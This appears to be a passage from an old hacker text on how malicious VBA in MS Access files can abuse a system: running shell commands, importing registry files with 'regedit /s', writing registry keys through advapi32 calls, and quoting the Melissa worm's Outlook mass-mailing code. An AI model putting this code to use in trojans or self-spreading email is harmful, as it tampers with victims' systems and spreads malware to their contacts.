--[ What can VBA do to me?Bad VBA code has been talked about in several threads. RFP mentions theVBA.Interaction.Shell command which executes a command on the local system.This is a quick and dirty payload, especially when coupled to the "regedit /s"command which would allow an attacker to create a .reg file, and import it intothe registry.A cleaner way becomes available, which is not available to the ODBC method. Theadvapi32.dll API Reg*Ex allows direct registry IO without taking the time toupload a .reg file. These functions can simply be defined along with thehideous necesary constants inside the VBA code.In addition, an attacker can follow in the footsteps of Melissa and use theVBA.Interaction.CreateObject call to create an MS Outlook instance which sendstrojan email to every address in the addressbook. *yawn*--[ ExamplesSimply click the attached Access application to see the effect this trojan canhave on your system. =) Seriously, these examples require quite a few constantdefinitions to work. If you're good enough to get all the constants figuredout, you're sharp enough to create these examples on your own. In short, Ididn't show you how to do it. ;)Our REG*EX method simply relies on a syntactically clean call to RegCreteKeyExto create a registry key:rc = RegCreateKeyEx(HKEY_CURRENT_USER, "johnny@ihackstuff.com", 0, "", _REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, secattr, Result, Disposition)This line will create a key under HKEY_CURRENT_USER called"johnny@ihackstuff.com". Groovy.The other calls, including RegSetValueEx and RegDeleteKey do various groovythings too.In honor of Kwyjibo, we can use the VBA.Interaction.CreateObject method tospread like wildfire thanks to MS Outlook:---Snip from Melissa---Set UngaDasOutlook = CreateObject("Outlook.Application")Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")If UngaDasOutlook = "Outlook" ThenDasMapiName.Logon "profile", "password"Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)BreakUmOffASlice.Recipients.Add "johnny@ihackstuff.com"BreakUmOffASlice.Subject = "Important Message From " &Application.CurrentUserBreakUmOffASlice.SendDasMapiName.Logoff---snip---Access doesn't implement the System library like MS Word does. Hence, theSystem.[doregistrystuff] calls won't work here. The system calls can bereplaced with just about any API you care to 'Define' in the VBA code. OtherVBA libraries such as the Application library shown above may prove as suitablereplacements.
Leave a Comment